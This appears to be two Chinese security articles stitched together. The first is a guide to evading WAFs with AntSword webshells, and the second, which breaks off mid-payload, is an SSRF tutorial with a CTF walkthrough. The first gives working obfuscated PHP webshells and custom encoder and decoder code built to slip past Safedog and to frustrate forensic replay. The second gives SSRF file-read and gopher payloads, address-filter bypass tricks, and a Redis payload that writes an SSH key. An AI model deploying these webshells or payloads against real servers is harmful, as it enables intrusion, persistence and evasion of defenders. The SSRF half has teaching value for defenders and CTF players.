修改位置在蚁剑工作目录的:
`/modules/request.js`中:
当然也可以修改成其他UA头，例如百度爬虫等UA,不过在这里可以借助设计爬虫的思想，设计一个动态的UA列表，每次随机加载其中之一即可:
let USER_AGENTS = [
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36",
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
];
const USER_AGENT = USER_AGENTS[Math.floor(Math.random() * USER_AGENTS.length + 1)];
修改完成重启蚁剑后查看UA头发现已经修改完成，下面尝试分析蚁剑查看文件的命令:
读取文件:
cmd = @ini_set("display_errors", "0");
@set_time_limit(0); //不显示报错
function asenc($out){
return $out;
}; //用于返回信息
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "974d7a7b"; //用户流量混淆
echo @asenc($output);
echo "b8834c6"
;}
ob_start();
try{
$F=base64_decode($_POST["h84ecea2082e15"]);//base64解码post传入的另一个数据
$P=@fopen($F,"r");
echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;
}//进行文件读取
catch(Exception $e){
echo "ERROR://".$e->getMessage();}; //如有报错则会输出报错信息
asoutput();
die();
h84ecea2082e15=查看文件地址的base64
`cmd`即为shell的密码，不同的shell对应的密码也不一致，可以看到蚁剑在读取文件时，也做了相应的流量混淆，并不是完全毫无保留的对文件进行读取，通过分析流量仍能够非常清楚的看到相关意图，因此还需要对流量进行进一步的混淆
## webshell选择
这类安全软件大多都是分别从静态查杀和动态查杀进行同时拦截，因此我们首先要绕过静态查杀，而这种变形的webshell网上也有很多类似:
<?php
error_reporting(0);
function argu($a, $b){
$ext = explode('ABKing',$a);
$ext1 = $ext[0];
$ext2 = $ext[1];
$ext3 = $ext[2];
$ext4 = $ext[3];
$ext5 = $ext[4];
$ext6 = $ext[5];
$arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
$arr[1] = $b;
return $arr;
}
$b = $_POST['x'];
$arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
$x = $arr[0];
$y = $arr[1];
array_map($x, array($y));
?>
还有在蚁剑插件市场中，有生成免杀shell，和生成shell等插件
可以看到生成免杀shell时,通过字符串的异或来实现免杀
并且绕过安全狗的静态查杀：
而使用生成shell插件，
通过各种字符串的编码变形，包括base64,rot13,chr编码等等方式，但是直接使用的话仍然会被最新版安全狗拦截，因为使用了`create_function`函数:
## 自定义编码器和默认编码器
部分安全软件会实现中间件上的流量监测，顾名思义，这一类主要是布署在中间件这一层上，让所有的`http`流量先经过WAF，然后再交给后端组件处理。静态文件变形没有关系，我直接看你发送的流量是否正常，通过流量来进行正则的过滤，如果匹配，则可以大概率确定该文件是异常文件，从而实现拦截。例如在使用默认编码器进行传输时，可以抓包查看默认编码器下的效果:
除了查看文件地址进行简答的base64加密外都是明文传输，这段内容，充斥着大量的关键字，在正常的业务数据中，几乎是不会有的，这也是查杀的重要关注点，因此要实现一个蚁剑的编码器，通过蚁剑的编码器将编码后的数据发送给shell，前提是shell能够处理编码后的数据。
在蚁剑自带的编码器中，存在`base64、chr、chr16、rot13`四种编码器，下面依次来简单的分析一下四种编码器在流量上的特征
### base64编码器
查看一下简单加载shell传输的流量，发现虽然少了很多关键函数，但是仍然无法避免`eval`和`base64_decode`，在4.0版的安全狗中会被拦截
base64编码器的大致工作就是将中间的操作函数全部通过base64加密后，最终使用`eval(base64_decode())`来执行，但是在此过程中`eval()`和`base64_decode`会被识别从而进行拦截
### chr编码器
可以看到当使用chr编码器时将所有操作函数通过`CHR()`编码后使用eval来执行，这种方式能够直接绕过safedog
而 **chr16** 编码的形式和chr差别不大，只是将其替换为16进制的形式，自然也能够通过匹配，实现绕过:
### rot13编码器
使用rot13编码，将中间函数全部进行rot13编码，这样不会出现关键函数，而在最后使用`eval(str_rot13())`:
但是这种方式同样会被拦截:
下面通过github一个[编码器的项目](https://github.com/AntSwordProject/AwesomeEncoder)，再对编码器进行分析:
### b64pass编码器
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/
'use strict';
module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}
}
该编码器将所有的内容全部进行base64编码，这样一来避免出现`eval(base64_decode())`，如果是这样,shell则需要进行`base64_decode`过滤:
将该编码器和base64默认编码器对比一下发现，这里将所有PHP函数都进行了base64编码传输给shell，使用这种方式同样能够绕过safedog的静态检测
### 双base64编码器
这里如果使用一层base64会被拦截，为了更为妥当，可以使用双base64进行编码甚至多重base64进行编码，这样混淆之后的流量基本不会被识别出来
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 链接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你本身的代码 ###################
// 如下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来以后，转为 base64 编码并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后，先处理 pwd 参数下的内容，
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你本身的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
这里使用免杀的webshell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
这里来看下经过两次base64加密后的混淆数据流量:
### 基于时间的蚁剑动态秘钥编码器
在上述编码器中虽然能够成功绕过安全防护软件，但是通过查看日志能够发现流量存在一定异常，并且加密方式很明显，在溯源过程中可以手工进行两次base64加密便得以知道我们使用蚁剑相应的操作，因此想构造一种基于时间的加密，这样即便是人为判断流量异常，也无法恢复明文知道我们的操作行为:
'use strict';
//基于时间的蚁剑动态秘钥编码器
//link :https://yzddmr6.tk/posts/antsword-xor-encoder/
//code by yzddmr6
/* 服务端
<?php
date_default_timezone_set("PRC");
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
eval($post);
?>
*/
module.exports = (pwd, data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key=key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for(let i=0;i<cipher.length;i++){
cipher[i]=cipher[i]^key[i%32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
cipher=Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];
return data;
}
将时间的md5值设置为key进行异或操作通过base64传输，shell获取到编码后的数据时先base64解密后再通过时间的md5进行一次异或解密得到明文,使用对应的免杀shell马:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
最终的效果就是将流量混淆成:
并且使用基于时间混淆的好处在于如果在后期想要利用重放来得到这段代码执行的操作也是不可实现的，因为对应的时间已经不一致了，这样一来便彻底无法知道该段代码的具体操作是什么。
当然我们也可以利用解码器来进行相关解码，同样能够实现对操作的多重混淆导致无法识别代码的具体操作，解码器相关的分析和使用在之后再谈
### zlib_deflated_raw 编码器
该方式通过将数据进行zlib压缩后进行base64编码传输给shell，这样要求shell将传输的数据先进行base64解密后通过`gzinflate`将压缩数据进行解压缩，从而实现流量混淆:
/**
* php::zlib_deflated_raw 编码器
* Create at: 2019/01/12 00:05:44
* zlib 压缩 payload, 适配 shell 见代码处
*/
'use strict';
var zlib = require('zlib');
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = zlib.deflateRawSync(data['_']).toString('base64');
// <?php @eval($_POST['ant']);?>
//data[pwd] = `eval(@gzinflate(base64_decode($_POST[${randomID}])));`;
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// <?php @eval(@gzinflate(base64_decode($_POST['ant']))); ?>
// data[pwd] = zlib.deflateRawSync(`@eval(@gzinflate(base64_decode($_POST[${randomID}])));`).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
delete data['_'];
return data;
}
利用之前的免杀shell进行修改即可，即将传输数据进行`gzinflate(base64_decode($_POST['']));`，来观察一下流量情况:
### RSA编码器
蚁剑从2.1版本后开始支持RSA加密算法，不过只是针对PHP的编码器
这里的思路也就是利用非对称加密的方式，先用私钥将传输的内容进行加密，然后传输给shell后，shell通过公钥进行解密，从而实现对流量的混淆，RSA的实现原理在这里不在叙述，但是使用RSA编码器需要前提条件，也就是需要开启
**openssl** 模块，不开启该模块无法调用解密函数：
/**
* php::RSA编码器
* Create at: 2021/03/02 15:27:33
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
let n = Math.ceil(data['_'].length / 80);
let l = Math.ceil(data['_'].length / n);
let r = []
for (var i = 0; n > i; i++) {
r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
}
data[pwd] = r.join("|");
delete data['_'];
return data;
}
同时上传免杀一句话shell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$pk = <<<EOF
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5ZIPIttsVOX4xU87JOkJCLZNW
g0H7dUdn0WCZofvwB3uWZy4xp7vvFqDkYakhOR0HOhRbLIHFg8gFKhBkJ8eyy78x
kd+L8zxjjUGqEek075VC0Bh7mqwfH5aANpI0LPxxasxq+MCe0OGGhnmI1ZGv/NNy
7zBTkeAIHOoyD/f1eQIDAQAB
-----END PUBLIC KEY----- EOF;
$posts = explode("|", $post);
$pk = openssl_pkey_get_public($pk);
$post = '';
foreach ($posts as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$post .= $de;
}
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
此前使用PHP版本为5.4.45，但是一直连接不上，换成PHP7以上版本后成功连接，可能是版本的`openssl_public_decrypt`有所差异，连接成功后查看加密流量:
但是在awd中别人能够抓取你的webshell读取flag流量并且转发到其余的服务器上获得flag，或者在真实环境中通过重放攻击还原你的shell进行的各种操作，因此我们可以在编码器中加入:
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
来设置数据的时效性为5s，5s之后该数据则变为`die();`
### 总结
编码器的方式多种多样，也可以根据需求开发属于自己的私密编码器，只需要注意传输的数据shell能够正确的解密即可，另外在参考项目中，还有利用`aes-128`和`aes-256`等方式进行加密传输，但是需要在连接时携带`cookie`,本质还是实现流量混淆，因此在这里不再进行分析，此外如果想设置时效性，避免重放能够知道相应操作或者在awd中利用相同流量去打其他服务器，可以通过该方法设置传输数据的时效性：
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();/*这里可以自定义代码*/};${data['_']}`;
## 自定义解码器和默认解码器
前文对蚁剑的编码器做了相关的叙述，前文我们讲到编码器就是在将数据传输给shell之前，蚁剑内部对数据进行相关编码，shell将编码进行解码化后进行实现，最终返回，而我们注意到即使编码有多么复杂，在没有考虑时效性的基础上，返回的数据都是明文形式的，这样安全软件能够检测页面的响应情况来判断是否进行拦截和屏蔽等操作，因此我们可以通过解码器将返回数据也同样变成编码形式，通过蚁剑的解码器后在将其变成明文，这样避免了服务器返回明文的数据，增加了流量的混淆程度
先分析原始发送的php代码:
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "25ad391b4";
echo @asenc($output);
echo "94db763fc9";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
其中`asenc`函数就是指定的输出内容，默认情况下直接输出明文，若我们设置了解码器，那么我们在编码器内编写的混淆函数变会替换`asenc`的内容，然后服务器响应的数据通过`asenc`函数混淆后输出
解码器的源码:
/**
* php::base64解码器
* Create at: 2021/03/02 18:52:44
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
### base64解码器
使用该解码器进行解码时，也就是将响应数据进行了base64加密进行输出，但是却不是直接进行base64加密操作，放一张使用base64解码器后的响应流量:
发现直接将响应数据进行base64解码后是乱码形式，这是因为我们注意到在`asoutput`函数中每次都设置了随机的前后分界字符串，只有客户端知道分界位置，WAF基本上是没法定位位置进行解码的，因此相当于base64编码前后都有一段随机的字符串，当然我们可以通过爆破前后位置最终得到base64编码，不过这也是蚁剑开发过程中的小细节，通过设置前后分解字符串来模拟了一个简单的
**加盐操作**
### rot13解码器
相比于base64解码器，rot13解码器并没有很大的优势，因为rot13加密本身就是凯撒的变形，并且由于没有进行分组加密，因此加入前后分界字符串的意义也就不明显了，并且混淆程度也不高，能够直接将混淆后的流量在进行rot13解码便能能到明文:
### 基于时间的动态秘钥解码器
前文既然可以基于时间来设置动态密钥编码器，也自然可以设置基于时间的解码器，原理和编码器的设计原理是一致的，通过对当前时间md5值的计算得到异或密钥，将服务器响应的明文数据和密钥进行异或后输出，在解码器的`decode_buff`再进行一轮异或得到明文:
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
date_default_timezone_set("PRC");
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($out);$i++){
$out[$i] = $out[$i] ^ $key[$i%32];
}
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
function xor(payload){
let crypto = require('crypto');
//确定一个24小时制的规范时间格式
Object.assign(Date.prototype, {
switch (time) {
let date = {
"yy": this.getFullYear(),
"MM": this.getMonth() + 1,
"dd": this.getDate(),
"hh": this.getHours(),
"mm": this.getMinutes(),
"ss": this.getSeconds()
};
if (/(y+)/i.test(time)) {
time = time.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));
}
Object.keys(date).forEach(function (i) {
if (new RegExp("(" + i + ")").test(time)) {
if (RegExp.$1.length == 2) {
date[i] < 10 ? date[i] = '0' + date[i] : date[i];
}
time = time.replace(RegExp.$1, date[i]);
}
})
return time;
}
})
let newDate = new Date();
let time = newDate.switch('yyyy-MM-dd hh:mm');
let key = crypto.createHash('md5').update(time).digest('hex')
key = key.split("").map(t => t.charCodeAt(0));
let data = payload;
let cipher=Buffer.from(data.toString(), 'base64').toString();
cipher = cipher.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 32]
}
cipher=cipher.map(t=>String.fromCharCode(t)).join("")
return cipher;
}
return xor(data);
}
}
使用该解码器来看一下发送和响应的混淆流量:
此时的流量已经加密的基本上检测不出，因此大多数情况下应该可以达到混淆的目的了。
### 总结
解码器也是为了绕过安全防护软件对页面相应情况的追踪和拦截，对页面的输出进行编码从而让其无法知道shell的流量特征以及该流量对应执行的操作情况，此外在蚁剑中还支持`Multipart`传输:
我们知道，如果是商业WAF，出于对业务性能影响，可能会把`multipart/form-data`这种多用来上传文件的传输方式检测关闭掉,否则攻击者持续上传大文件，一直损耗WAF的性能，拖垮相关业务，因此如果使用`Multipart`进行传输，对流量的混淆也起到了一定的积极作用
同时蚁剑还推出分块传输的功能，利用的`chunk`这种传输方式，把`payload`分成一小段一小段传过去,这样原本一个包中的`eval(base64_decode())`则会被分割成很多小块进行传输，绕过了某些正则，减小了被规则击中的可能
本篇文章只是简单对蚁剑的编码器和一些特征进行修改以混淆流量对安全防护软件的绕过等，各位大佬可以根据自己需求来写私有加密解密器从而实现流量的混淆
* * *
## 参考文章:
[蚁剑实现动态密钥编码解码器](https://xz.aliyun.com/t/6571#toc-7)
[从0到1打造一款堪称完美antSword(蚁剑)](https://xz.aliyun.com/t/6701/#toc-2)
[AntswordProject](https://github.com/AntSwordProject/AwesomeEncoder) | 社区文章 |
本文由红日安全成员： MisakiKata 编写，如有不当，还望斧正。
大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
[Web安全实战](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。
# 1\. SSRF漏洞
## 1.1 漏洞简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种利用漏洞伪造服务器端发起请求。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。
## 1.2 漏洞原理
通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如，通过控制前台的请求远程地址加载的响应，来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务，来造成对内网系统的攻击。
## 1.3 漏洞危害
### 1.3.1 扫描内网开放服务
### 1.3.2 向内部任意主机的任意端口发送payload来攻击内网服务
### 1.3.3 DOS攻击（请求大文件，始终保持连接Keep-Alive Always）
### 1.3.4 攻击内网的web应用，例如直接SQL注入、XSS攻击等
### 1.3.5 利用file、gopher、dict协议读取本地文件、执行命令等
# 2\. 检测与绕过
## 2.1 漏洞检测
假设一个漏洞场景：某网站有一个在线加载功能可以把指定的远程图片加载到本地，功能链接如下：
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
那么网站请求的大概步骤应该是类似以下：
用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前台显示。
这个过程中可能出现问题的点就在于请求发送到服务端的时候，系统没有效验前台给定的参数是不是允许访问的地址域名，例如，如上的链接可以修改为：
http://www.xxx.com/image.php?image=http://127.0.0.1:22
如上请求时则可能返回请求的端口banner。如果协议允许，甚至可以使用其他协议来读取和执行相关命令。例如
http://www.xxx.com/image.php?image=file:///etc/passwd
http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端口请求data data2)
http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数据test,同样可以发送POST请求)
......
对于不同语言实现的web系统可以使用的协议也存在不同的差异，其中：
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...
判断漏洞是否存在的重要前提是，请求的服务器发起的，以上链接即使存在并不一定代表这个请求是服务器发起的。因此前提不满足的情况下，SSRF是不必要考虑的。
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
链接获取后，是由js来获取对应参数交由window.location来处理相关的请求，或者加载到当前的iframe框架中，此时并不存在SSRF
，因为请求是本地发起，并不能产生攻击服务端内网的需求。
## 2.2 漏洞出现点
### 2.2.1 分享
通过url 地址分享文章，例如如下地址：
<http://share.xxx.com/index.php?url=http://127.0.0.1>
通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。
### 2.2.2 图片加载与下载
通过URL地址加载或下载图片
<http://image.xxx.com/image.php?image=http://127.0.0.1>
图片加载存在于很多的编辑器中，编辑器上传图片处，有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式，本地文章加载了设定好的远程图片服务器上的图片地址，如果没对加载的参数做限制可能造成SSRF。
### 2.2.3 图片、文章收藏功能
<http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de>
例如title参数是文章的标题地址，代表了一个文章的地址链接，请求后返回文章是否保存，收藏的返回信息。如果保存，收藏功能采用了此种形式保存文章，则在没有限制参数的形式下可能存在SSRF。
### 2.2.4 利用参数中的关键字来查找
例如以下的关键字：
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
## 2.3 漏洞绕过
部分存在漏洞，或者可能产生SSRF的功能中做了白名单或者黑名单的处理，来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击，需要对请求的参数地址做相关的绕过处理，常见的绕过方式如下：
### 2.3.1 限制为<http://www.xxx.com> 域名时
可以尝试采用http基本身份认证的方式绕过，<http://[email protected]。>
在对@解析域名中，不同的处理函数存在处理差异，例如：
<http://[email protected]@www.ccc.com，在PHP的parse_url中会识别www.ccc.com，而libcurl则识别为www.bbb.com。>
### 2.3.2 限制请求IP不为内网地址
采用短网址绕过，比如百度短地址<https://dwz.cn/。>
采用可以指向任意域名的xip.io，127.0.0.1.xip.io，可以解析为127.0.0.1
采用进制转换，127.0.0.1八进制：0177.0.0.1。十六进制：0x7f.0.0.1。十进制：2130706433
### 2.3.3 限制请求只为http协议
采用302跳转，百度短地址，或者使用<https://tinyurl.com生成302跳转地址。使用如下：>
### 2.3.4 其他
其他绕过形式可以查看：<https://www.secpulse.com/archives/65832.html>
# 3\. 测试方法
## 3.1 漏洞环境
PHP脚本、Windows
## 3.2 利用工具
bash、nc
## 3.3 测试过程
首先采用如下脚本创建一个PHP的服务端
<?PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
开启PHP的web环境，访问<http://localhost/ssrf.php?url=，页面显示正常即可。在一个bash中开启监听端口，来模仿即将被SSRF到的内网服务，此处采用nc。>
浏览器访问如下链接：`http://localhost/ssrf.php?url=http://127.0.0.1:2233`。监听端可以看到来自localhost的请求，请求目标为127.0.0.1的2233端口。
使用gopher协议来查看协议，访问：`http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test`
利用gopher发送POST的请求，访问：`http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword`
以上方式简单的展示了SSRF的攻击过程和请求，下面我们使用回显形SSRF。
漏洞环境：Ubuntu 18、 docker 、PHP、Apache
漏洞文件地址：<https://github.com/nikosdano/SSRF-Vulnerable-with-Curl>
下载文件放入apache服务器中，访问<http://192.168.120.132/awesome_script.php>
在其中我们可以填写想要执行的SSRF命令，如填写`file:///etc/passwd`，回显为：
尝试端口探测，对22端口进行探测是否开启：
截至到此，相信对SSRF已经有了一个简单认识和检测，下面我们利用一个靶场来模拟一个完整的真实的SSRF攻击。
# 4\. 实战演示
## 4.1 漏洞环境
Rootme CTF all the day
## 4.2 漏洞地址
<https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/>
## 4.3 利用工具
Burp
## 4.4 漏洞介绍
SSRF+redis 获取内网主机权限，利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的
## 4.5 测试过程
访问目标地址，如果没有账号，需要创建账号点击右上的绿色小加号来创建账号，创建完成后回到此页面。
找到一个处于none的虚拟机，点击房间名，如下的ctf04
进入房间后，选择需要创建的虚拟机，选择SSRF Box，点击保存，选择start the game。
过一段时间的等待后，会显示如下信息。
访问 ctf04.root-me.org 就可以看到启动的虚拟环境了
当然，如果在创建虚拟机之前，看到其他的房间有人已经创建了SSRF Box我们也可以加入此玩家的房间，点击房间名，进入房间后点击右上角的Join the
game。稍等片刻就可以加入到游戏中，根据提示访问对应的地址就可以开始测试啦。
访问地址后可以看到页面显示一个输入框，需要输入url参数，开始抓包。
尝试在页面输入百度地址后，页面会把百度首页加载进此页面中。
读取系统文件：
使用burp的Intruder模块，来探测开放的服务端口，开放则显示OK，不开放则显示Connection refused。
探测可知内网开放了6379端口redis服务，尝试利用SSRF对redis执行未授权漏洞，此处简单科普一下redis漏洞影响。
详细内容可以查看文章：<https://www.freebuf.com/vuls/162035.html>
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将
Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取
Redis 的数据。
因此，此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制，从而实现在外网攻击内网应用。
1）利用redis来写ssh密钥
此处利用ssh生成一对公私钥，生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下：
根据网上写密钥有两种协议可以使用，一种是dict，一种是gopher。测试使用dict协议写不成功，写入后不能连接，此处使用gopher写密钥。
使用的payload为：
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
payload 解码为：
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$401
